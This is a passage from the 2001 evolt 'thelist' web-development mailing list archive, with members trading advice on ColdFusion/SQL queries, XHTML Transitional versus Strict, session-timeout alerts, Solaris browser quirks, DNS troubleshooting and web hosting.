Line 9. Move to the next record in the set which sends you back to the if statement in line 4. If they are equal this ends the IF and then writes the next product id.
Line 10. End the while loop.

Thanks!

Jay

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From ppxsjc1 at unix.ccc.nottingham.ac.uk  Mon Sep 17 10:10:30 2001
From: ppxsjc1 at unix.ccc.nottingham.ac.uk (Simon Coggins)
Date: Mon Sep 17 10:10:30 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <ELEAJPEALCJLAJNCJFLCIEEICIAA.bimal.shah@venus.co.uk>
Message-ID: <Pine.GSO.4.21.0109171511220.16780-100000@granby.ccc.nottingham.ac.uk>

> I'm getting an error - is "TOP" supported in MySQL?

I'm not sure, but can't you use LIMIT instead?

e.g. SELECT * FROM table WHERE this='that' ORDER BY this LIMIT 1

would return 1st record.

Simon





From jedimaster at macromedia.com  Mon Sep 17 10:21:04 2001
From: jedimaster at macromedia.com (Raymond Camden)
Date: Mon Sep 17 10:21:04 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <Pine.GSO.4.21.0109171511220.16780-100000@granby.ccc.nottingham.ac.uk>
Message-ID: <00f501c13f8c$2c562920$6401a8c0@mylittledomain.internal>

> 
> > I'm getting an error - is "TOP" supported in MySQL?
> 
> I'm not sure, but can't you use LIMIT instead?
> 
> e.g. SELECT * FROM table WHERE this='that' ORDER BY this LIMIT 1
> 
> would return 1st record.
> 
> Simon
> 

In general, this all boils down to what your DBMS supports. Don't bother
looking at the CF docs for this, consult the docs for your DBMS.

<tip type="Generic Web Application" Author="Raymond Camden">
You should ALWAYS try to do as much logic in your DBMS as possible. For
example, instead of doing a select * and having CF parse out the records
where foo > 1, or some other condition, put the condition in your SQL
statement.

Check the docs for your DBMS. You will be surprised at the kind of
logical parsing you can do on data.

</tip>

-Ray




From initium at barrysworld.com  Mon Sep 17 10:34:46 2001
From: initium at barrysworld.com (Jeremy Payne)
Date: Mon Sep 17 10:34:46 2001
Subject: [thelist] bandwidth
References: <01c13d8e$5306f5e0$5349149a@rudy> <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net>
Message-ID: <003301c13f8e$dacd5440$0e3c5d0a@ropnorth.org>

>Am I right to calculate that 3 gig (at 40 k per page) is only
> about 70.000 pages a month?


make smaller pages :D!

hehe.. forgive me.. i'm at school, and i'm desperately in need of human
contact.. lol




From annie at twitch.ca  Mon Sep 17 10:52:06 2001
From: annie at twitch.ca (Annie)
Date: Mon Sep 17 10:52:06 2001
Subject: [thelist] ASP Timed Text Display
In-Reply-To: <003301c13f8e$dacd5440$0e3c5d0a@ropnorth.org>
Message-ID: <AEEMKOOEFCFNBBJALEONAEJDCEAA.annie@twitch.ca>

Hey guys, hope you can help me out on this one :)
I have a client who I have created a contest website for. Part of the
contest is that each day a question will be posted on the website, giving
participants 24 hours to answer the question before a new question is
posted.
They are quite adament about posting the question manually each day, a bit
paranoid about the confidentiality of the questions.
But here's the clincher: they want to be able to post the question earlier
in the day, say 4pm, but not have it appear on the website until 5:15pm.
Is there any quick and relatively painless way to do this?
Thanks!

Annie




From Matt at grndwtr.com  Mon Sep 17 11:52:11 2001
From: Matt at grndwtr.com (Matthias Ritzkowski)
Date: Mon Sep 17 11:52:11 2001
Subject: [thelist] Database/ASP Samples PLease
Message-ID: <8179FA78B6D0D111AA53006097B0128007AF0A@mail1>

Ok -

I will attempt my luck at this one.
Let's say you have a table with UserID, report1, report2, report3, etc
The report fields could be varchar, values are "Y" and "N"
Upon a user logging in, you track his UserID and send him to your page.
The trick is how to build the page from the serverside (this is how I would
do it).
I use server-side checkboxes, which retrieve their state (checked or not)
from a database query like
SELECT REPORT1, REPORT2, REPORT3 WHERE USERID = strUSERID

if REPORT1.Value = "Y" then
code to set the chkbox1 to checked
else
code to set chkbox 1 to unchecked

You also need a Submit button which fires an update query and checks for the
states of all checkboxes to update any changes the user might have done.

Does this help?
Matthias

-----Original Message-----
From: Sanders, Robert (IndSys, Pwr. Equip., IM)
[mailto:robert.sanders at indsys.ge.com]
Sent: Monday, September 17, 2001 09:10
To: 'thelist at lists.evolt.org'
Subject: [thelist] Database/ASP Samples PLease


I would very much welcome the opportunity to review some ASP used to connect
to a database. I've been working towards this same end but to no avail. If
avyone has some code that they wouldnt mind sharing I would appreciate if
they'd forward it to me so I could attempt to figure out what I'm doing
wrong. I really just want to create a "My Reports" web page for our business
reports but need an ASP for the end users to subscribe to reports initially
and then revisit that same page and be able to unsubscribe or subsribe to
additional reports. That is, the p[age must display (via check boxes) what
reports a user has already subscribed to.

Thanks for the much needed help.

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From MMcAtee at philamuseum.org  Mon Sep 17 12:21:34 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Mon Sep 17 12:21:34 2001
Subject: [thelist] Virtual SSI on NT
Message-ID: <E40026A94B88D511B1D000508BC74133247FC9@MAILHOST>

I am moving a portion of a website from a linux to NT server.
Is there a syntax difference in the way that Virtual include statements need
to be written on an NT box?


Existing Code:
<!--#include virtual="menu.shtml" -->


TIA Malcolm



From nonzero at well.com  Mon Sep 17 12:26:01 2001
From: nonzero at well.com (Kevin D. White)
Date: Mon Sep 17 12:26:01 2001
Subject: [thelist] Virtual SSI on NT
References: <E40026A94B88D511B1D000508BC74133247FC9@MAILHOST>
Message-ID: <007001c13f9d$86d95550$a5a931d0@marchfirstslc.com>

> Is there a syntax difference in the way that Virtual include statements
need
> to be written on an NT box?

Nope.  It's the same.




From peter at vardus.com  Mon Sep 17 12:26:33 2001
From: peter at vardus.com (Peter)
Date: Mon Sep 17 12:26:33 2001
Subject: [thelist] bandwidth
In-Reply-To: <LPBBLLOGKNBIKOOOOAJAEEEGFMAA.tonyc@boldfish.co.uk>
References: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net>
Message-ID: <5.1.0.14.0.20010917152930.0306bd50@mail.vardus.net>

> > about 70.000 pages a month?
>
>Thereabouts, but note also that some hosts include FTP and email traffic
>when calculating your consumption.

Mmmm, that means I would need at least the next package, which costs ?700 a 
year - that's too expensive. Surely only really small sites can then have 
enough with 3 gigs?
I'll look into alternatives....
Pete





From ghunt at hds.ca  Mon Sep 17 12:27:34 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Mon Sep 17 12:27:34 2001
Subject: [fwd] Re: [thelist] Site not available? - Update
Message-ID: <0037f1623171191BUNSON@bunson.webservepro.com>

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Richard,

First, to clear up the confusion, default routes and default gateways
are the same thing. MS (and others) call them gateways, they are routes
in the *NIX world. You can have multiple ones, but it's not recommended.

Second, I would say you have two big issues. The first is that your DNS
isn't giving you an address. Try using the providers (gofast.net) DNS
servers (209.46.63.1, 209.46.63.6). They should always provide a correct
and quick response because they don't have to contact any other DNS
servers to return a reply.

Second, I suspect that the ping and traceroute fail because the server
appears to be behind a firewall which is hiding ICMP traffic. Both ping
and traceroute rely on ICMP. Many firewalls block this because it can be
used in denial-of-service attacks. It is also possible the provider
simply doesn't have thing set up properly.

In Windows 2000, you can have as many DNS servers as you wish. Simply
click on the "Advanced" button in the IP config dialog, and select the
DNS tab.

One last thing you can check to try and narrow the problem is to always
use the IP number in the address bar of the browser. This takes the DNS
out of the loop (i.e. "http://209.46.83.16/").

Let me know if you still have trouble.

Glenn Hunt
ghunt at hds.ca




From jmlucero at webicarus.com  Mon Sep 17 13:08:54 2001
From: jmlucero at webicarus.com (Juan Manuel Lucero)
Date: Mon Sep 17 13:08:54 2001
Subject: [thelist] [ OT ] // US under attack // Another point of view
Message-ID: <002d01c13fa2$d42aa160$4e14fea9@juan>

This is an excellent article from The Guardian newspaper, UK.
I was about to post the whole article
( "They can't see why they are hated" // Americans cannot ignore what their
government does abroad // Seumas Milne // The Guardian (UK) // Thursday
September 13, 2001 ), but since a lot of people complained about OT?s, here
is the URL:

http://www.guardian.co.uk/Archive/Article/0,4273,4255855,00.html

Juan Manuel Lucero




From nate at vicksburgcollective.com  Mon Sep 17 13:11:44 2001
From: nate at vicksburgcollective.com (nate koechley)
Date: Mon Sep 17 13:11:44 2001
Subject: [thelist] web development for Solaris
Message-ID: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com>

Hey Folks,

For the current site I'm developing, there is a strict requirement that all 
pages work correctly on Solaris (Sun) platform browsers.

While I consider myself something of an expert on Mac/PC and 
Netscape/IE/Opera issues, I have almost zero experience with Sun.

Can you good people alert me to some of the common pitfalls, things to be 
aware of, or resources/places to learn the same? I'd like to educate myself 
in advance, with the hopes of alleviating a painful QA process.

Thank you all,
.nek




From cwilliams at computermodules.com  Mon Sep 17 13:20:37 2001
From: cwilliams at computermodules.com (Chris Williams)
Date: Mon Sep 17 13:20:37 2001
Subject: [thelist] Two questions:1. Pacific Bell  Telephone problems, and 2. looking for a reliable ISP for a business account.
In-Reply-To: <20010914061220.D7C8B521C8@relay.evolt.org>
Message-ID: <FGEKIJDCADEFEBGHPLJKOEMICFAA.cwilliams@computermodules.com>

Hello,

I am having severe problems accessing the internet from my home phone and I
am using Pacific Bell. They came out to my home on 4-5 different occasions,
all have said there is a problem with the phone line on their end, and have
supposedly refered it to cable for repair, but there is never any
resolution...ie I cannot get out onto the internet from home, I cannot
access my email accounts, and I have been cut off from receiving replies to
job applications I have submitted via the internet.  I am really concerned,
as my job here is ending in the next few weeks and I have sat home for days
on end waiting for their technicians to arrive, causing a lot of lost time
here at work, thousands of dollars in medical bills which were not
authorized by my insurance company, but since they had no way to contact me
because my phone line would either give out a busy signal, go dead, or ring
without completing the circuit to my telephone, I will end up paying for
this out of my own pocket.

The problem is in their lines, and they just kiss off the call, do a test
from the office, and close the ticket.  Has anyone else had this issue, and
what did you do to resolve it?

My second question is regarding a good web hosting company.  I am looking
for a stable, reliable ISP which has decent tech support to host our web
site.  We currently use Host pro, and are looking for a second ISP for the
new site.

Thanks a bunch!

Chris Williams







From r937 at interlog.com  Mon Sep 17 13:47:35 2001
From: r937 at interlog.com (rudy)
Date: Mon Sep 17 13:47:35 2001
Subject: [thelist] tips please....
Message-ID: <01c13fa8$a16fd140$674c149a@rudy>

> I appreciate how large an issue the events in the US are, 
> but I subscribed to a web development list. 

thanks, steve

folks, if you are not sure whether a post to this list ("thelist")
is off topic or not, add a tip just in case

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> If you really want to discuss such issues with members of 
> TheList, can I suggest that The Chat is a better place.

right on

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   http://lists.evolt.org/mailman/listinfo/thechat

threads are, understandably, preoccupied with recent events...

  http://lists.evolt.org/thechatarchive/Week-of-Mon-20010917/date.html



<tip>
cnet's stupid web tricks --
http://builder.cnet.com/webbuilding/0-7690.html?tag=st.bl.3881.more.7690
some aren't really all that stupid
</tip>


rudy






From webdad at tampabay.rr.com  Mon Sep 17 13:50:45 2001
From: webdad at tampabay.rr.com (Bob Boisvert)
Date: Mon Sep 17 13:50:45 2001
Subject: [thelist] ASP Timed Text Display
In-Reply-To: <AEEMKOOEFCFNBBJALEONAEJDCEAA.annie@twitch.ca>
Message-ID: <000601c13fa9$e2fa4540$0200a8c0@BOISNET2>

Hi Annie,

Question,

How are the questions that they come up with going to be stored? It seems to
me that if the questions were stored in a database then a select statement
could be included to call a particular question after a certain time.

Hope this give you a spark...


Bob



-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org]On Behalf Of Annie
Sent: Monday, September 17, 2001 11:48 AM
To: thelist at lists.evolt.org
Subject: [thelist] ASP Timed Text Display


Hey guys, hope you can help me out on this one :)
I have a client who I have created a contest website for. Part of the
contest is that each day a question will be posted on the website, giving
participants 24 hours to answer the question before a new question is
posted.
They are quite adament about posting the question manually each day, a bit
paranoid about the confidentiality of the questions.
But here's the clincher: they want to be able to post the question earlier
in the day, say 4pm, but not have it appear on the website until 5:15pm.
Is there any quick and relatively painless way to do this?
Thanks!

Annie


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From JGreen at DesMoinesMetro.com  Mon Sep 17 14:24:12 2001
From: JGreen at DesMoinesMetro.com (Green, Janet)
Date: Mon Sep 17 14:24:12 2001
Subject: [thelist] embarrassingly stupid XHTML questions
Message-ID: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com>

1. When writing a page in XHTML, does one save the page as .html, or .xhtml?


2. If XHTML pages can be "transitional," can they also be something else? If
so, what? And how do you know which one to state in the <head> of the
document? 

3. What are unicode and UTF-8, and how do I know what I am using? I've never
made a conscious decision on this. 

Please post answers in "for dummies" lingo. Thanks. 
Thanks! 
Janet




From mwarden at mattwarden.com  Mon Sep 17 14:26:43 2001
From: mwarden at mattwarden.com (Warden, Matt)
Date: Mon Sep 17 14:26:43 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com>
Message-ID: <Pine.LNX.4.20.0109171520280.9218-100000@scooter.webservepro.com>

On Sep 17, Green, Janet had something to say about [thelist] embarrassingly...

>1. When writing a page in XHTML, does one save the page as .html, or .xhtml?

.html will do fine.

>2. If XHTML pages can be "transitional," can they also be something else? If
>so, what? 

Strict.

>And how do you know which one to state in the <head> of the
>document? 

Well, you don't state it in the <head>, but you code to one of the
specs. Whichever spec you code to and the page validates to will be the
one you state.


hth,


--
mattwarden
mattwarden.com




From hassan at webtuitive.com  Mon Sep 17 14:27:29 2001
From: hassan at webtuitive.com (Hassan Schroeder)
Date: Mon Sep 17 14:27:29 2001
Subject: [thelist] web development for Solaris
References: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com>
Message-ID: <3BA64D9B.DC282BD3@webtuitive.com>

nate koechley wrote:

> For the current site I'm developing, there is a strict requirement that all
> pages work correctly on Solaris (Sun) platform browsers.

> Can you good people alert me to some of the common pitfalls, things to be
> aware of, or resources/places to learn the same? I'd like to educate myself
> in advance, with the hopes of alleviating a painful QA process.

First - which browsers? Netscape, IE, HotJava, Amaya? I'll assume
you're primarily dealing with the first of those :-)

Most of what you know about Netscape 4.x applies, but:

1) table rendering: slow - avoid nested tables like the plague.

2) CSS font-size: usually fails if you don't specify font-family
       for each class or tag (don't count on inheritance).

3) CSS font-family: generally a much more limited font palette.

4) screen res: usually at least 1152x900; watch font-size settings,
       especially if you're used to using pixels as the unit.
       A lot of commercial Web sites are basically unusable from 
       a Sun workstation, due to nonsense like 9-pixel text; this
       also applies to graphical buttons with text on them. 

5) color: most older Suns have 8-bit frame buffers, and due to the
       interaction with other apps under X, may even have problems
       with the Web-safe color palette ("problems" in the sense of
       your lovely orange color shows up as brown, etc.). 

That's all that occurs to me right now. If you have other specific
questions, feel free to send them to me directly.

HTH!
-- 
H*
Hassan Schroeder ----------------------------- hassan at webtuitive.com 
Webtuitive Design ===  (+1) 408-938-0567   === http://webtuitive.com

    -- creating dynamic Web sites and applications since 1994 --



From evolt at spinhead.com  Mon Sep 17 14:32:28 2001
From: evolt at spinhead.com (spinhead)
Date: Mon Sep 17 14:32:28 2001
Subject: [thelist] Two questions:1. Pacific Bell  Telephone problems, and 2. looking for a reliable ISP for a business account.
References: <FGEKIJDCADEFEBGHPLJKOEMICFAA.cwilliams@computermodules.com>
Message-ID: <001901c13fae$c4459b40$aa01000a@HEISENBERG>

I was once a telocom analyst (I'm in Socal) and in our office, we had a
PacBell veteran who was our specialist at dealing with them. Her
ace-in-the-hole was that her husband was some kind of regional director and
frequently made calls to make things happen. Sometimes, that was the only
way to deal with them. PacBell can be extremely difficult to deal with or to
motivate, but it's unfortunately almost purely random. I've got PacBell
phone service and, in response to your second request, I just move from the
dismal Cox Cable modem to PacBell DSL, and I've never been happier -
installation sooner and faster than I expected, the billing is correct, the
access speed averages 900k (on a 384k line) and they didn't even screw up my
phones during the install.

The two weapons an end user has against PacBell are infinite persistance
(not always possible) and determined pressure to speak to the next
supervisor up the chain. If you don't get the response you want from whoever
you're speaking to, get their supervisor on the line. They won't like it,
but they'll do it. They CAN get it right, but once you're in a black hole
like this, the only way out is to make them so unhappy to hear from you that
they'll fix it just to make you go away.

spinhead


----- Original Message -----
From: "Chris Williams" <cwilliams at computermodules.com>
To: <thelist at lists.evolt.org>
Sent: Monday, September 17, 2001 11:19 AM
Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2.
looking for a reliable ISP for a business account.


> Hello,
>
> I am having severe problems accessing the internet from my home phone and
I
> am using Pacific Bell. They came out to my home on 4-5 different
occasions,
> all have said there is a problem with the phone line on their end, and
have
> supposedly refered it to cable for repair, but there is never any
> resolution...ie I cannot get out onto the internet from home, I cannot
> access my email accounts, and I have been cut off from receiving replies
to
> job applications I have submitted via the internet.  I am really
concerned,
> as my job here is ending in the next few weeks and I have sat home for
days
> on end waiting for their technicians to arrive, causing a lot of lost time
> here at work, thousands of dollars in medical bills which were not
> authorized by my insurance company, but since they had no way to contact
me
> because my phone line would either give out a busy signal, go dead, or
ring
> without completing the circuit to my telephone, I will end up paying for
> this out of my own pocket.
>
> The problem is in their lines, and they just kiss off the call, do a test
> from the office, and close the ticket.  Has anyone else had this issue,
and
> what did you do to resolve it?
>
> My second question is regarding a good web hosting company.  I am looking
> for a stable, reliable ISP which has decent tech support to host our web
> site.  We currently use Host pro, and are looking for a second ISP for the
> new site.
>
> Thanks a bunch!
>
> Chris Williams
>





From morbus at disobey.com  Mon Sep 17 14:35:32 2001
From: morbus at disobey.com (Morbus Iff)
Date: Mon Sep 17 14:35:32 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.co
 m>
Message-ID: <5.1.0.14.2.20010917152748.015208b0@red.totalnetnh.net>

 >1. When writing a page in XHTML, does one save the page as .html, or .xhtml?

HTML. Although it may seem semantically correct to save it as .xhtml, it's 
nonstandard, and you may cause problems with older browsers that don't know 
how to process it (assuming the webserver doesn't send the correct Content 
Type).

Dummy: I'd play it safe and stick with .html.

 >2. If XHTML pages can be "transitional," can they also be something else? If
 >so, what? And how do you know which one to state in the <head> of the
 >document?

They can be "Strict", which, for example, would mean that the following two 
tags wouldn't work (of course, there are more):

	<center> 	<div align="center">

Which one to state is really a matter of how anal you want your pages to 
be. "Transitional" assumes that you're know HTML and that you've grown up 
using FONT, and CENTER, and all those design oriented tags. "Strict" 
assumes that all your design is done in stylesheets (and oh so much more - 
I'm kinda dummying "Strict" unfairly).

Dummy: "Strict" may be to hard and to anal for most people.
"Transitional" is a good choice (I use it myself).

 >3. What are unicode and UTF-8, and how do I know what I am using? I've never
 >made a conscious decision on this.

Dummy: I'm dumb. Although I have an inkling of an answer on this, I'd 
rather not shoot both you and I in the foot. The way I've been handling it:

  - just a generic web audience, I always encode all entities
    to their HTML equivalent (like &copy; &amp; and so forth).

  - catering to foreign people, I encode the document to
    UTF-8 (see the source of disobey.com/amphetadesk/ for an
    example) and encode most entities to numeric equivalents
    (of which I can't remember any off the top of my head).


--
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From sgd at ti3.com  Mon Sep 17 14:37:05 2001
From: sgd at ti3.com (Scott Dexter)
Date: Mon Sep 17 14:37:05 2001
Subject: [thelist] Two questions:1. Pacific Bell  Telephone problems, and 2. looking for a reliable ISP for a business account.
Message-ID: <AE9BEBC586A48B4BA47843C4148B82511CFB96@apollo.ti3.com>

> The two weapons an end user has against PacBell are infinite 
> persistance
> (not always possible) and determined pressure to speak to the next
> supervisor up the chain. If you don't get the response you 

An effective tactic my ex-girlfriend used with SWBell was refusing to
pay her bill until it was corrected....

sgd



From roland at ninehells.org  Mon Sep 17 14:49:02 2001
From: roland at ninehells.org (Martin McCarthy)
Date: Mon Sep 17 14:49:02 2001
Subject: [thelist] [OT]Linux help
Message-ID: <B7CBCAED.78%roland@ninehells.org>

Howdy. Sorry to make an offtopic post, but I've been having a really hard
time with something. If anyone out there is familiar with LinuxPPC, could
you drop me a line offlist and offer a hand with something? Having some
problems with keymappings.

<tip type="PHP Debugging" author="Martin McCarthy">
If you're going to be writing a lot of PHP, it's a good idea to install
Apache with PHP on your machine, so you can test stuff locally. It'll save
you a good deal of time and headaches from constantly uploading and
re-uploading stuff.
</tip>
-- 
Martin McCarthy




From matthewmozer at hotmail.com  Mon Sep 17 15:46:26 2001
From: matthewmozer at hotmail.com (Matt Mozer)
Date: Mon Sep 17 15:46:26 2001
Subject: [thelist] Cold Fusion session variables
Message-ID: <F193uT1FM1JOMyQlmLF000137dd@hotmail.com>

I was wondering if anyone knew how to set up a jscript alert window or for 
that matter a <cf_alert window, when a session has timed out. For instance, 
I set my timeout in my application.cfm page to 10 seconds, and after 10 
seconds I would like a pop up window saying "for your protection, your 
session has timed out and you will be redirected to the login page." Ok or 
cancel..  Something like that...

Do I need an if statement somewhere? possibly in the application.cfm page? I 
can't seem to find anything about customizing the application page in any of 
my books.

Does anyone use bank of america online banking?

thanks


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From r937 at interlog.com  Mon Sep 17 15:50:08 2001
From: r937 at interlog.com (rudy)
Date: Mon Sep 17 15:50:08 2001
Subject: [thelist] embarrassingly stupid XHTML questions
Message-ID: <01c13fba$524e1380$8551149a@rudy>

>...  "Strict", which, for example, would mean that the following
>  two tags wouldn't work (of course, there are more):
>
>  <center> <div align="center"> 

that's an interesting idea, morbus

but those tags do work   ;o(

(confirmed in ie5 and netscape6)

it's not like the doctype turns them off (i wish)

perhaps you meant to say the tags "shouldn't" work

but they do

> "Strict" assumes that all your design is done in stylesheets 
> (and oh so much more - I'm kinda dummying "Strict" unfairly).

right, all the styling attributes, even entire tags, are gone

as a data guy, i love this separation of structure and style -- 
data being similarly all about "what" and not about "how"

but i'm curious -- what did you have in mind when you said
"and oh so much more"?


> >3. What are unicode and UTF-8

very good question

i dunno either, although i have heard that

      <?xml version="1.0" encoding="UTF-8"?>

can cause problems and for the time being is optional


rudy





From data at data1701d.com  Mon Sep 17 15:53:38 2001
From: data at data1701d.com (Bill Mason)
Date: Mon Sep 17 15:53:38 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <01c13fba$524e1380$8551149a@rudy>
Message-ID: <5.1.0.14.2.20010917135300.00a4b5d0@data1701d.com>

At 01:50 PM 9/17/01, rudy wrote:
>although i have heard that
>
>       <?xml version="1.0" encoding="UTF-8"?>
>
>can cause problems and for the time being is optional

The only browser I ever saw that cause a break was in Mac IE 4.0.  With the 
declaration there, the page will not display at all.

Bill Mason
data at data1701d.com
http://profile.guru.com/billmason




From jerjer at earthlink.net  Mon Sep 17 15:53:45 2001
From: jerjer at earthlink.net (Jer)
Date: Mon Sep 17 15:53:45 2001
Subject: [thelist] Cold Fusion session variables & B of A Online Banking
 Experience
References: <F193uT1FM1JOMyQlmLF000137dd@hotmail.com>
Message-ID: <02c401c13fba$cb1b1060$67f5c23f@pacbell.net>

> Does anyone use bank of america online banking?

Can't help with the CF session variables but to answer your other question,
we use B of A online banking with wonderful experience.  Very convenient
when we download into Quicken

Jer & the Team
Payday Advance Consulting
An Industry Resource
http://www.PaydayAndPaycheckLoans.com







From jedimaster at macromedia.com  Mon Sep 17 15:53:56 2001
From: jedimaster at macromedia.com (Raymond Camden)
Date: Mon Sep 17 15:53:56 2001
Subject: [thelist] Cold Fusion session variables
In-Reply-To: <F193uT1FM1JOMyQlmLF000137dd@hotmail.com>
Message-ID: <000f01c13fbb$45801260$6401a8c0@mylittledomain.internal>

> I was wondering if anyone knew how to set up a jscript alert 
> window or for 
> that matter a <cf_alert window, when a session has timed out. 
> For instance, 
> I set my timeout in my application.cfm page to 10 seconds, 
> and after 10 
> seconds I would like a pop up window saying "for your 
> protection, your 
> session has timed out and you will be redirected to the login 
> page." Ok or 
> cancel..  Something like that...

Well, first off, I certainly wouldn't use 10 seconds as a time out, but
I assume you are joking.

So, what are your options. Well, as you know, CF is a server side
language. The browser doesn't know when a session var has timed out
because the browser is client side. But, there are ways around it.

If your timeout is 5 mins, on every page, you can easily output
JavaScript code that waits 4 minutes and gives a warning. (Ie, in one
min your session will time out.)

However, this will not be perfect. If the user opens another browser
window and hits your site, thereby refreshing their session time out,
the JavaScript time out in the first window will not be in sync anymore.
However, that isn't a horrible thing per se.

> Do I need an if statement somewhere? possibly in the 
> application.cfm page? I 
> can't seem to find anything about customizing the application 
> page in any of 
> my books.
> 
> Does anyone use bank of america online banking?

Yep, and I know exactly what you mean. They are, most likely, using the
same method.

Does this help?

=======================================================================
Raymond Camden, Principal Spectra Compliance Engineer for Macromedia

Email    : jedimaster at macromedia.com
Yahoo IM : morpheus

"My ally is the Force, and a powerful ally it is." - Yoda 




From seth at sethbienek.com  Mon Sep 17 16:02:47 2001
From: seth at sethbienek.com (Seth Bienek)
Date: Mon Sep 17 16:02:47 2001
Subject: [thelist] Cold Fusion session variables
In-Reply-To: <F193uT1FM1JOMyQlmLF000137dd@hotmail.com>
Message-ID: <GAEAJJJEJIFKMCCGFAAEOEAFCCAA.seth@sethbienek.com>

Hi Matt,

> I was wondering if anyone knew how to set up a jscript alert 
> window or for 
> that matter a <cf_alert window, when a session has timed out.

Since a session is "prodded", or the timer reset, every time a ColdFusion page is loaded, one could assume that if the page has not been changed in the allowed timeout period, the session is reset.

What the people at BOA do is use a simple JavaScript timer on every page (client-side - purely independent of the application server) that counts down the (already known) session timeout, then pops up the confirm button 30 seconds before the session actually times out.  If you confirm that you are still using the session, the javascript sends a small http request, prodding the server, thereby resetting your session timeout timer.

> Does anyone use bank of america online banking?

You should be able to logon to BOA's logon banking and use "view source" to have a look at their JavaScript, or you can build one yourself fairly simply.  Javascript's timer functions are very straightforward.

Regards,

Seth





From morbus at disobey.com  Mon Sep 17 16:04:37 2001
From: morbus at disobey.com (Morbus Iff)
Date: Mon Sep 17 16:04:37 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <01c13fba$524e1380$8551149a@rudy>
Message-ID: <5.1.0.14.2.20010917170416.009e42d0@red.totalnetnh.net>

 >>...  "Strict", which, for example, would mean that the following
 >>  two tags wouldn't work (of course, there are more):
 >>
 >>  <center> <div align="center">
 >
 >that's an interesting idea, morbus
 >but those tags do work   ;o(

Sorry. Those tags won't validate under XHTML Strict. Whether they work or 
not is another matter entirely, but the document won't be considered valid 
Strict XHTML.

 >but i'm curious -- what did you have in mind when you said
 >"and oh so much more"?

Welp, ultimately, I was saving my butt. I don't know every single 
difference between Transitional and Strict, but I know that *one* 
difference was the pure and exact separation of design and content. The "oh 
so much more" was to make sure that no one would say "but hey! that's not 
all! Strict also does..." <g>...

 >i dunno either, although i have heard that
 >
 >      <?xml version="1.0" encoding="UTF-8"?>
 >
 >can cause problems and for the time being is optional

I've been dealing with encoding an awful lot with my AmphetaDesk program 
(disobey.com/amphetadesk/). If an XML document does NOT have an encoding, 
it is *supposed* to be read in as UTF-8. Correct me if I'm wrong however, 
as the whole encoding issue drives me bonkers.


--
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http://www.disobey.com/ && http://www.gamegrene.com/
please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554
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From matthewmozer at hotmail.com  Mon Sep 17 16:11:23 2001
From: matthewmozer at hotmail.com (Matt Mozer)
Date: Mon Sep 17 16:11:23 2001
Subject: [thelist] Cold Fusion Session Variables
Message-ID: <F123fAj81EYtN3Isam5000149a6@hotmail.com>

I was wondering if anyone knows how set up a jscript or <cf_alert pop up 
window when a session times out. For instance, if the session is set to time 
out at 10 seconds, after 10 seconds a pop up window would say something like 
"Your session has timed out, you will now be redirected to the login page". 
Something to the effect.
Or, automatically when the session times out, a function would redirect the 
user back to the login page.

Question is, where to code this. Can the application.cfm page be customized 
to do this sort of thing since the timeout is specified there? Possibly an 
cfif statement with a cflocation url tag?

Any Ideas?

Thanks

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From matthewmozer at hotmail.com  Mon Sep 17 16:11:43 2001
From: matthewmozer at hotmail.com (Matt Mozer)
Date: Mon Sep 17 16:11:43 2001
Subject: [thelist] Cold Fusion Session Variables
Message-ID: <F39fOuSenAbcZbxX9Qe00014bd1@hotmail.com>

I was wondering if anyone knows how set up a jscript or <cf_alert pop up 
window when a session times out. For instance, if the session is set to time 
out at 10 seconds, after 10 seconds a pop up window would say something like 
"Your session has timed out, you will now be redirected to the login page". 
Something to the effect.
Or, automatically when the session times out, a function would redirect the 
user back to the login page.

Question is, where to code this. Can the application.cfm page be customized 
to do this sort of thing since the timeout is specified there? Possibly an 
cfif statement with a cflocation url tag?

Any Ideas?

Thanks

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From headlemur at clearskymail.com  Mon Sep 17 18:24:35 2001
From: headlemur at clearskymail.com (the head lemur)
Date: Mon Sep 17 18:24:35 2001
Subject: [thelist] Two questions:1. Pacific Bell  Telephone problems, and 2. looking for a reliable ISP for a business account.
References: <FGEKIJDCADEFEBGHPLJKOEMICFAA.cwilliams@computermodules.com>
Message-ID: <00d901c13fcf$e54b9300$0200a8c0@clearskybroadband.com>

We currently use Host pro, and are looking for a second ISP for the

that eliminates Interland and WIPC as they both belong to HostPro

OnlineOntime.com in phoenix is a good 'nix company

haven't run across a reliable NT company yet






From scot at vquill.com  Mon Sep 17 18:53:52 2001
From: scot at vquill.com (Scot)
Date: Mon Sep 17 18:53:52 2001
Subject: [thelist] Design/JS question
Message-ID: <p05100303b7cc332cd1e2@[10.21.174.26]>

The URL is question is 
http://www.eden.infohwy.com/~scot/japanese/index.html (and its 
associated pages).
There has been a critique done on this URL by some of you fine folks 
in the past.  Now, I'm trying to flush out the problems that were 
found, and I can't seem to get past 2 of them.

First let me say that the front pages for each section are using the 
same template (the new one), but the subsections are using the 
previous template. That will all change once I get these problems 
fixed/dismissed.

Problem one: When a scroll bar is present, it shifts the contents of 
the page ever so slightly to the left (due to the centering of the 
contents).  I realize this is a minor point, so I was hoping that 
someone might be willing to either tell me how to fix it, or tell me 
to get over it.

Problem two:  It was suggested that the navigational links at the top 
and bottom of the page have a mouseover effect.  I liked the idea 
very much.  Here comes the problem, and I'm sure many of you have had 
the same or similar problems, how do I get it to work in Netscape 4 
and IE5.x+/NS6.x/Mozilla.  The latter group is easy enough, but 
including Netscape 4 is where I run into problems.

I've tried using the position:absolute solution, but the links can't 
